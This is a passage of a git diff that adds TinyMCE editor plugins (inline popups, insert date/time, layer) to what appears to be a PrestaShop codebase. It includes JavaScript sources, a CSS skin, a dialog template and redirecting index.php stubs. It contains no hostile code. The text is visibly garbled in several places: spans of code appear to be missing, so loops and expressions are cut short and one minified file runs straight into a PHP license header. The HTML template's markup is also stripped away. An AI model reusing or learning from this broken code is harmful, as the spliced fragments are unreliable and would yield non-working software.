DOM.addClass(id, 'mceFocus'); + t.lastId = id; + + if (w.focussedElement) { + w.focussedElement.focus(); + } else if (DOM.get(id + '_ok')) { + DOM.get(w.id + '_ok').focus(); + } else if (DOM.get(w.id + '_ifr')) { + DOM.get(w.id + '_ifr').focus(); + } + } + }, + + _addAll : function(te, ne) { + var i, n, t = this, dom = tinymce.DOM; + + if (is(ne, 'string')) + te.appendChild(dom.doc.createTextNode(ne)); + else if (ne.length) { + te = te.appendChild(dom.create(ne[0], ne[1])); + + for (i=2; i ix) { + fw = w; + ix = w.zIndex; + } + }); + return fw; + }, + + setTitle : function(w, ti) { + var e; + + w = this._findId(w); + + if (e = DOM.get(w + '_title')) + e.innerHTML = DOM.encode(ti); + }, + + alert : function(txt, cb, s) { + var t = this, w; + + w = t.open({ + title : t, + type : 'alert', + button_func : function(s) { + if (cb) + cb.call(s || t, s); + + t.close(null, w.id); + }, + content : DOM.encode(t.editor.getLang(txt, txt)), + inline : 1, + width : 400, + height : 130 + }); + }, + + confirm : function(txt, cb, s) { + var t = this, w; + + w = t.open({ + title : t, + type : 'confirm', + button_func : function(s) { + if (cb) + cb.call(s || t, s); + + t.close(null, w.id); + }, + content : DOM.encode(t.editor.getLang(txt, txt)), + inline : 1, + width : 400, + height : 130 + }); + }, + + // Internal functions + + _findId : function(w) { + var t = this; + + if (typeof(w) == 'string') + return w; + + each(t.windows, function(wo) { + var ifr = DOM.get(wo.id + '_ifr'); + + if (ifr && w == ifr.contentWindow) { + w = wo.id; + return false; + } + }); + + return w; + }, + + _fixIELayout : function(id, s) { + var w, img; + + if (!tinymce.isIE6) + return; + + // Fixes the bug where hover flickers and does odd things in IE6 + each(['n','s','w','e','nw','ne','sw','se'], function(v) { + var e = DOM.get(id + '_resize_' + v); + + DOM.setStyles(e, { + width : s ? e.clientWidth : '', + height : s ? e.clientHeight : '', + cursor : DOM.getStyle(e, 'cursor', 1) + }); + + DOM.setStyle(id + "_bottom", 'bottom', '-1px'); + + e = 0; + }); + + // Fixes graphics glitch + if (w = this.windows[id]) { + // Fixes rendering bug after resize + w.element.hide(); + w.element.show(); + + // Forced a repaint of the window + //DOM.get(id).style.filter = ''; + + // IE has a bug where images used in CSS won't get loaded + // sometimes when the cache in the browser is disabled + // This fix tries to solve it by loading the images using the image object + each(DOM.select('div,a', id), function(e, i) { + if (e.currentStyle.backgroundImage != 'none') { + img = new Image(); + img.src = e.currentStyle.backgroundImage.replace(/url\(\"(.+)\"\)/, '$1'); + } + }); + + DOM.get(id).style.filter = ''; + } + } + }); + + // Register plugin + tinymce.PluginManager.add('inlinepopups', tinymce.plugins.InlinePopups); +})(); + diff --git a/js/tiny_mce/plugins/inlinepopups/index.php b/js/tiny_mce/plugins/inlinepopups/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/plugins/inlinepopups/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/alert.gif b/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/alert.gif new file mode 100755 index 0000000..2191398 Binary files /dev/null and b/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/alert.gif differ diff --git a/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/button.gif b/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/button.gif new file mode 100755 index 0000000..f957e49 Binary files /dev/null and b/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/button.gif differ diff --git a/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/buttons.gif b/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/buttons.gif new file mode 100755 index 0000000..6baf64a Binary files /dev/null and b/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/buttons.gif differ diff --git a/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/confirm.gif b/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/confirm.gif new file mode 100755 index 0000000..20acbbf Binary files /dev/null and b/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/confirm.gif differ diff --git a/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/corners.gif b/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/corners.gif new file mode 100755 index 0000000..d5de1cc Binary files /dev/null and b/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/corners.gif differ diff --git a/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/horizontal.gif b/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/horizontal.gif new file mode 100755 index 0000000..c2a2ad4 Binary files /dev/null and b/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/horizontal.gif differ diff --git a/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/index.php b/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/vertical.gif b/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/vertical.gif new file mode 100755 index 0000000..0b4cc36 Binary files /dev/null and b/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/vertical.gif differ diff --git a/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/index.php b/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/window.css b/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/window.css new file mode 100755 index 0000000..a50d4fc --- /dev/null +++ b/js/tiny_mce/plugins/inlinepopups/skins/clearlooks2/window.css @@ -0,0 +1,90 @@ +/* Clearlooks 2 */ + +/* Reset */ +.clearlooks2, .clearlooks2 div, .clearlooks2 span, .clearlooks2 a {vertical-align:baseline; text-align:left; position:absolute; border:0; padding:0; margin:0; background:transparent; font-family:Arial,Verdana; font-size:11px; color:#000; text-decoration:none; font-weight:normal; width:auto; height:auto; overflow:hidden; display:block} + +/* General */ +.clearlooks2 {position:absolute; direction:ltr} +.clearlooks2 .mceWrapper {position:static} +.mceEventBlocker {position:fixed; left:0; top:0; background:url(img/horizontal.gif) no-repeat 0 -75px; width:100%; height:100%} +.clearlooks2 .mcePlaceHolder {border:1px solid #000; background:#888; top:0; left:0; opacity:0.5; -ms-filter:'alpha(opacity=50)'; filter:alpha(opacity=50)} +.clearlooks2_modalBlocker {position:fixed; left:0; top:0; width:100%; height:100%; background:#FFF; opacity:0.6; -ms-filter:'alpha(opacity=60)'; filter:alpha(opacity=60); display:none} + +/* Top */ +.clearlooks2 .mceTop, .clearlooks2 .mceTop div {top:0; width:100%; height:23px} +.clearlooks2 .mceTop .mceLeft {width:6px; background:url(img/corners.gif)} +.clearlooks2 .mceTop .mceCenter {right:6px; width:100%; height:23px; background:url(img/horizontal.gif) 12px 0; clip:rect(auto auto auto 12px)} +.clearlooks2 .mceTop .mceRight {right:0; width:6px; height:23px; background:url(img/corners.gif) -12px 0} +.clearlooks2 .mceTop span {width:100%; text-align:center; vertical-align:middle; line-height:23px; font-weight:bold} +.clearlooks2 .mceFocus .mceTop .mceLeft {background:url(img/corners.gif) -6px 0} +.clearlooks2 .mceFocus .mceTop .mceCenter {background:url(img/horizontal.gif) 0 -23px} +.clearlooks2 .mceFocus .mceTop .mceRight {background:url(img/corners.gif) -18px 0} +.clearlooks2 .mceFocus .mceTop span {color:#FFF} + +/* Middle */ +.clearlooks2 .mceMiddle, .clearlooks2 .mceMiddle div {top:0} +.clearlooks2 .mceMiddle {width:100%; height:100%; clip:rect(23px auto auto auto)} +.clearlooks2 .mceMiddle .mceLeft {left:0; width:5px; height:100%; background:url(img/vertical.gif) -5px 0} +.clearlooks2 .mceMiddle span {top:23px; left:5px; width:100%; height:100%; background:#FFF} +.clearlooks2 .mceMiddle .mceRight {right:0; width:5px; height:100%; background:url(img/vertical.gif)} + +/* Bottom */ +.clearlooks2 .mceBottom, .clearlooks2 .mceBottom div {height:6px} +.clearlooks2 .mceBottom {left:0; bottom:0; width:100%} +.clearlooks2 .mceBottom div {top:0} +.clearlooks2 .mceBottom .mceLeft {left:0; width:5px; background:url(img/corners.gif) -34px -6px} +.clearlooks2 .mceBottom .mceCenter {left:5px; width:100%; background:url(img/horizontal.gif) 0 -46px} +.clearlooks2 .mceBottom .mceRight {right:0; width:5px; background: url(img/corners.gif) -34px 0} +.clearlooks2 .mceBottom span {display:none} +.clearlooks2 .mceStatusbar .mceBottom, .clearlooks2 .mceStatusbar .mceBottom div {height:23px} +.clearlooks2 .mceStatusbar .mceBottom .mceLeft {background:url(img/corners.gif) -29px 0} +.clearlooks2 .mceStatusbar .mceBottom .mceCenter {background:url(img/horizontal.gif) 0 -52px} +.clearlooks2 .mceStatusbar .mceBottom .mceRight {background:url(img/corners.gif) -24px 0} +.clearlooks2 .mceStatusbar .mceBottom span {display:block; left:7px; font-family:Arial, Verdana; font-size:11px; line-height:23px} + +/* Actions */ +.clearlooks2 a {width:29px; height:16px; top:3px;} +.clearlooks2 .mceClose {right:6px; background:url(img/buttons.gif) -87px 0} +.clearlooks2 .mceMin {display:none; right:68px; background:url(img/buttons.gif) 0 0} +.clearlooks2 .mceMed {display:none; right:37px; background:url(img/buttons.gif) -29px 0} +.clearlooks2 .mceMax {display:none; right:37px; background:url(img/buttons.gif) -58px 0} +.clearlooks2 .mceMove {display:none;width:100%;cursor:move;background:url(img/corners.gif) no-repeat -100px -100px} +.clearlooks2 .mceMovable .mceMove {display:block} +.clearlooks2 .mceFocus .mceClose {right:6px; background:url(img/buttons.gif) -87px -16px} +.clearlooks2 .mceFocus .mceMin {right:68px; background:url(img/buttons.gif) 0 -16px} +.clearlooks2 .mceFocus .mceMed {right:37px; background:url(img/buttons.gif) -29px -16px} +.clearlooks2 .mceFocus .mceMax {right:37px; background:url(img/buttons.gif) -58px -16px} +.clearlooks2 .mceFocus .mceClose:hover {right:6px; background:url(img/buttons.gif) -87px -32px} +.clearlooks2 .mceFocus .mceClose:hover {right:6px; background:url(img/buttons.gif) -87px -32px} +.clearlooks2 .mceFocus .mceMin:hover {right:68px; background:url(img/buttons.gif) 0 -32px} +.clearlooks2 .mceFocus .mceMed:hover {right:37px; background:url(img/buttons.gif) -29px -32px} +.clearlooks2 .mceFocus .mceMax:hover {right:37px; background:url(img/buttons.gif) -58px -32px} + +/* Resize */ +.clearlooks2 .mceResize {top:auto; left:auto; display:none; width:5px; height:5px; background:url(img/horizontal.gif) no-repeat 0 -75px} +.clearlooks2 .mceResizable .mceResize {display:block} +.clearlooks2 .mceResizable .mceMin, .clearlooks2 .mceMax {display:none} +.clearlooks2 .mceMinimizable .mceMin {display:block} +.clearlooks2 .mceMaximizable .mceMax {display:block} +.clearlooks2 .mceMaximized .mceMed {display:block} +.clearlooks2 .mceMaximized .mceMax {display:none} +.clearlooks2 a.mceResizeN {top:0; left:0; width:100%; cursor:n-resize} +.clearlooks2 a.mceResizeNW {top:0; left:0; cursor:nw-resize} +.clearlooks2 a.mceResizeNE {top:0; right:0; cursor:ne-resize} +.clearlooks2 a.mceResizeW {top:0; left:0; height:100%; cursor:w-resize;} +.clearlooks2 a.mceResizeE {top:0; right:0; height:100%; cursor:e-resize} +.clearlooks2 a.mceResizeS {bottom:0; left:0; width:100%; cursor:s-resize} +.clearlooks2 a.mceResizeSW {bottom:0; left:0; cursor:sw-resize} +.clearlooks2 a.mceResizeSE {bottom:0; right:0; cursor:se-resize} + +/* Alert/Confirm */ +.clearlooks2 .mceButton {font-weight:bold; bottom:10px; width:80px; height:30px; background:url(img/button.gif); line-height:30px; vertical-align:middle; text-align:center; outline:0} +.clearlooks2 .mceMiddle .mceIcon {left:15px; top:35px; width:32px; height:32px} +.clearlooks2 .mceAlert .mceMiddle span, .clearlooks2 .mceConfirm .mceMiddle span {background:transparent;left:60px; top:35px; width:320px; height:50px; font-weight:bold; overflow:auto; white-space:normal} +.clearlooks2 a:hover {font-weight:bold;} +.clearlooks2 .mceAlert .mceMiddle, .clearlooks2 .mceConfirm .mceMiddle {background:#D6D7D5} +.clearlooks2 .mceAlert .mceOk {left:50%; top:auto; margin-left: -40px} +.clearlooks2 .mceAlert .mceIcon {background:url(img/alert.gif)} +.clearlooks2 .mceConfirm .mceOk {left:50%; top:auto; margin-left: -90px} +.clearlooks2 .mceConfirm .mceCancel {left:50%; top:auto} +.clearlooks2 .mceConfirm .mceIcon {background:url(img/confirm.gif)} diff --git a/js/tiny_mce/plugins/inlinepopups/skins/index.php b/js/tiny_mce/plugins/inlinepopups/skins/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/js/tiny_mce/plugins/inlinepopups/skins/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/plugins/inlinepopups/template.htm b/js/tiny_mce/plugins/inlinepopups/template.htm new file mode 100755 index 0000000..c98fe41 --- /dev/null +++ b/js/tiny_mce/plugins/inlinepopups/template.htm @@ -0,0 +1,387 @@ + + + +Template for dialogs + + + + +
    +
    +
    +
    +
    +
    +
    + Blured +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Focused +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Statusbar +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Statusbar, Resizable +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Resizable, Maximizable +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Blurred, Maximizable, Statusbar, Resizable +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Maximized, Maximizable, Minimizable +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Blured +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Alert +
    + +
    +
    + + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + +
    +
    +
    + +
    +
    +
    +
    +
    + + + Ok + +
    +
    + +
    +
    +
    +
    +
    +
    + Confirm +
    + +
    +
    + + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + +
    +
    +
    + +
    +
    +
    +
    +
    + + + Ok + Cancel + +
    +
    +
    + + + diff --git a/js/tiny_mce/plugins/insertdatetime/editor_plugin.js b/js/tiny_mce/plugins/insertdatetime/editor_plugin.js new file mode 100755 index 0000000..938ce6b --- /dev/null +++ b/js/tiny_mce/plugins/insertdatetime/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.InsertDateTime",{init:function(a,b){var c=this;c.editor=a;a.addCommand("mceInsertDate",function(){var d=c._getDateTime(new Date(),a.getParam("plugin_insertdate_dateFormat",a.getLang("insertdatetime.date_fmt")));a.execCommand("mceInsertContent",false,d)});a.addCommand("mceInsertTime",function(){var d=c._getDateTime(new Date(),a.getParam("plugin_insertdate_timeFormat",a.getLang("insertdatetime.time_fmt")));a.execCommand("mceInsertContent",false,d)});a.addButton("insertdate",{title:"insertdatetime.insertdate_desc",cmd:"mceInsertDate"});a.addButton("inserttime",{title:"insertdatetime.inserttime_desc",cmd:"mceInsertTime"})},getInfo:function(){return{longname:"Insert date/time",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/insertdatetime",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_getDateTime:function(e,a){var c=this.editor;function b(g,d){g=""+g;if(g.length +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/layer/editor_plugin.js b/js/tiny_mce/plugins/layer/editor_plugin.js new file mode 100755 index 0000000..ca3857a --- /dev/null +++ b/js/tiny_mce/plugins/layer/editor_plugin.js @@ -0,0 +1 @@ +(function(){function a(b){do{if(b.className&&b.className.indexOf("mceItemLayer")!=-1){return b}}while(b=b.parentNode)}tinymce.create("tinymce.plugins.Layer",{init:function(b,c){var d=this;d.editor=b;b.addCommand("mceInsertLayer",d._insertLayer,d);b.addCommand("mceMoveForward",function(){d._move(1)});b.addCommand("mceMoveBackward",function(){d._move(-1)});b.addCommand("mceMakeAbsolute",function(){d._toggleAbsolute()});b.addButton("moveforward",{title:"layer.forward_desc",cmd:"mceMoveForward"});b.addButton("movebackward",{title:"layer.backward_desc",cmd:"mceMoveBackward"});b.addButton("absolute",{title:"layer.absolute_desc",cmd:"mceMakeAbsolute"});b.addButton("insertlayer",{title:"layer.insertlayer_desc",cmd:"mceInsertLayer"});b.onInit.add(function(){var e=b.dom;if(tinymce.isIE){b.getDoc().execCommand("2D-Position",false,true)}});b.onMouseUp.add(function(f,h){var g=a(h.target);if(g){f.dom.setAttrib(g,"data-mce-style","")}});b.onMouseDown.add(function(f,j){var h=j.target,i=f.getDoc(),g;if(tinymce.isGecko){if(a(h)){if(i.designMode!=="on"){i.designMode="on";h=i.body;g=h.parentNode;g.removeChild(h);g.appendChild(h)}}else{if(i.designMode=="on"){i.designMode="off"}}}});b.onNodeChange.add(d._nodeChange,d);b.onVisualAid.add(d._visualAid,d)},getInfo:function(){return{longname:"Layer",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/layer",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_nodeChange:function(c,b,f){var d,e;d=this._getParentLayer(f);e=c.dom.getParent(f,"DIV,P,IMG");if(!e){b.setDisabled("absolute",1);b.setDisabled("moveforward",1);b.setDisabled("movebackward",1)}else{b.setDisabled("absolute",0);b.setDisabled("moveforward",!d);b.setDisabled("movebackward",!d);b.setActive("absolute",d&&d.style.position.toLowerCase()=="absolute")}},_visualAid:function(b,d,c){var f=b.dom;tinymce.each(f.select("div,p",d),function(g){if(/^(absolute|relative|fixed)$/i.test(g.style.position)){if(c){f.addClass(g,"mceItemVisualAid")}else{f.removeClass(g,"mceItemVisualAid")}f.addClass(g,"mceItemLayer")}})},_move:function(j){var c=this.editor,g,h=[],f=this._getParentLayer(c.selection.getNode()),e=-1,k=-1,b;b=[];tinymce.walk(c.getBody(),function(d){if(d.nodeType==1&&/^(absolute|relative|static)$/i.test(d.style.position)){b.push(d)}},"childNodes");for(g=0;g-1){b[e].style.zIndex=h[k];b[k].style.zIndex=h[e]}else{if(h[e]>0){b[e].style.zIndex=h[e]-1}}}else{for(g=0;gh[e]){k=g;break}}if(k>-1){b[e].style.zIndex=h[k];b[k].style.zIndex=h[e]}else{b[e].style.zIndex=h[e]+1}}c.execCommand("mceRepaint")},_getParentLayer:function(b){return this.editor.dom.getParent(b,function(c){return c.nodeType==1&&/^(absolute|relative|static)$/i.test(c.style.position)})},_insertLayer:function(){var c=this.editor,e=c.dom,d=e.getPos(e.getParent(c.selection.getNode(),"*")),b=c.getBody();c.dom.add(b,"div",{style:{position:"absolute",left:d.x,top:(d.y>20?d.y:20),width:100,height:100},"class":"mceItemVisualAid mceItemLayer"},c.selection.getContent()||c.getLang("layer.content"));if(tinymce.isIE){e.setHTML(b,b.innerHTML)}},_toggleAbsolute:function(){var b=this.editor,c=this._getParentLayer(b.selection.getNode());if(!c){c=b.dom.getParent(b.selection.getNode(),"DIV,P,IMG")}if(c){if(c.style.position.toLowerCase()=="absolute"){b.dom.setStyles(c,{position:"",left:"",top:"",width:"",height:""});b.dom.removeClass(c,"mceItemVisualAid");b.dom.removeClass(c,"mceItemLayer")}else{if(c.style.left==""){c.style.left=20+"px"}if(c.style.top==""){c.style.top=20+"px"}if(c.style.width==""){c.style.width=c.width?(c.width+"px"):"100px"}if(c.style.height==""){c.style.height=c.height?(c.height+"px"):"100px"}c.style.position="absolute";b.dom.setAttrib(c,"data-mce-style","");b.addVisual(b.getBody())}b.execCommand("mceRepaint");b.nodeChanged()}}});tinymce.PluginManager.add("layer",tinymce.plugins.Layer)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/layer/editor_plugin_src.js b/js/tiny_mce/plugins/layer/editor_plugin_src.js new file mode 100755 index 0000000..d31978b --- /dev/null +++ b/js/tiny_mce/plugins/layer/editor_plugin_src.js @@ -0,0 +1,262 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + function findParentLayer(node) { + do { + if (node.className && node.className.indexOf('mceItemLayer') != -1) { + return node; + } + } while (node = node.parentNode); + }; + + tinymce.create('tinymce.plugins.Layer', { + init : function(ed, url) { + var t = this; + + t.editor = ed; + + // Register commands + ed.addCommand('mceInsertLayer', t._insertLayer, t); + + ed.addCommand('mceMoveForward', function() { + t._move(1); + }); + + ed.addCommand('mceMoveBackward', function() { + t._move(-1); + }); + + ed.addCommand('mceMakeAbsolute', function() { + t._toggleAbsolute(); + }); + + // Register buttons + ed.addButton('moveforward', {title : 'layer.forward_desc', cmd : 'mceMoveForward'}); + ed.addButton('movebackward', {title : 'layer.backward_desc', cmd : 'mceMoveBackward'}); + ed.addButton('absolute', {title : 'layer.absolute_desc', cmd : 'mceMakeAbsolute'}); + ed.addButton('insertlayer', {title : 'layer.insertlayer_desc', cmd : 'mceInsertLayer'}); + + ed.onInit.add(function() { + var dom = ed.dom; + + if (tinymce.isIE) + ed.getDoc().execCommand('2D-Position', false, true); + }); + + // Remove serialized styles when selecting a layer since it might be changed by a drag operation + ed.onMouseUp.add(function(ed, e) { + var layer = findParentLayer(e.target); + + if (layer) { + ed.dom.setAttrib(layer, 'data-mce-style', ''); + } + }); + + // Fixes edit focus issues with layers on Gecko + // This will enable designMode while inside a layer and disable it when outside + ed.onMouseDown.add(function(ed, e) { + var node = e.target, doc = ed.getDoc(), parent; + + if (tinymce.isGecko) { + if (findParentLayer(node)) { + if (doc.designMode !== 'on') { + doc.designMode = 'on'; + + // Repaint caret + node = doc.body; + parent = node.parentNode; + parent.removeChild(node); + parent.appendChild(node); + } + } else if (doc.designMode == 'on') { + doc.designMode = 'off'; + } + } + }); + + ed.onNodeChange.add(t._nodeChange, t); + ed.onVisualAid.add(t._visualAid, t); + }, + + getInfo : function() { + return { + longname : 'Layer', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/layer', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + // Private methods + + _nodeChange : function(ed, cm, n) { + var le, p; + + le = this._getParentLayer(n); + p = ed.dom.getParent(n, 'DIV,P,IMG'); + + if (!p) { + cm.setDisabled('absolute', 1); + cm.setDisabled('moveforward', 1); + cm.setDisabled('movebackward', 1); + } else { + cm.setDisabled('absolute', 0); + cm.setDisabled('moveforward', !le); + cm.setDisabled('movebackward', !le); + cm.setActive('absolute', le && le.style.position.toLowerCase() == "absolute"); + } + }, + + // Private methods + + _visualAid : function(ed, e, s) { + var dom = ed.dom; + + tinymce.each(dom.select('div,p', e), function(e) { + if (/^(absolute|relative|fixed)$/i.test(e.style.position)) { + if (s) + dom.addClass(e, 'mceItemVisualAid'); + else + dom.removeClass(e, 'mceItemVisualAid'); + + dom.addClass(e, 'mceItemLayer'); + } + }); + }, + + _move : function(d) { + var ed = this.editor, i, z = [], le = this._getParentLayer(ed.selection.getNode()), ci = -1, fi = -1, nl; + + nl = []; + tinymce.walk(ed.getBody(), function(n) { + if (n.nodeType == 1 && /^(absolute|relative|static)$/i.test(n.style.position)) + nl.push(n); + }, 'childNodes'); + + // Find z-indexes + for (i=0; i -1) { + nl[ci].style.zIndex = z[fi]; + nl[fi].style.zIndex = z[ci]; + } else { + if (z[ci] > 0) + nl[ci].style.zIndex = z[ci] - 1; + } + } else { + // Move forward + + // Try find a higher one + for (i=0; i z[ci]) { + fi = i; + break; + } + } + + if (fi > -1) { + nl[ci].style.zIndex = z[fi]; + nl[fi].style.zIndex = z[ci]; + } else + nl[ci].style.zIndex = z[ci] + 1; + } + + ed.execCommand('mceRepaint'); + }, + + _getParentLayer : function(n) { + return this.editor.dom.getParent(n, function(n) { + return n.nodeType == 1 && /^(absolute|relative|static)$/i.test(n.style.position); + }); + }, + + _insertLayer : function() { + var ed = this.editor, dom = ed.dom, p = dom.getPos(dom.getParent(ed.selection.getNode(), '*')), body = ed.getBody(); + + ed.dom.add(body, 'div', { + style : { + position : 'absolute', + left : p.x, + top : (p.y > 20 ? p.y : 20), + width : 100, + height : 100 + }, + 'class' : 'mceItemVisualAid mceItemLayer' + }, ed.selection.getContent() || ed.getLang('layer.content')); + + // Workaround for IE where it messes up the JS engine if you insert a layer on IE 6,7 + if (tinymce.isIE) + dom.setHTML(body, body.innerHTML); + }, + + _toggleAbsolute : function() { + var ed = this.editor, le = this._getParentLayer(ed.selection.getNode()); + + if (!le) + le = ed.dom.getParent(ed.selection.getNode(), 'DIV,P,IMG'); + + if (le) { + if (le.style.position.toLowerCase() == "absolute") { + ed.dom.setStyles(le, { + position : '', + left : '', + top : '', + width : '', + height : '' + }); + + ed.dom.removeClass(le, 'mceItemVisualAid'); + ed.dom.removeClass(le, 'mceItemLayer'); + } else { + if (le.style.left == "") + le.style.left = 20 + 'px'; + + if (le.style.top == "") + le.style.top = 20 + 'px'; + + if (le.style.width == "") + le.style.width = le.width ? (le.width + 'px') : '100px'; + + if (le.style.height == "") + le.style.height = le.height ? (le.height + 'px') : '100px'; + + le.style.position = "absolute"; + + ed.dom.setAttrib(le, 'data-mce-style', ''); + ed.addVisual(ed.getBody()); + } + + ed.execCommand('mceRepaint'); + ed.nodeChanged(); + } + } + }); + + // Register plugin + tinymce.PluginManager.add('layer', tinymce.plugins.Layer); +})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/layer/index.php b/js/tiny_mce/plugins/layer/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/layer/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 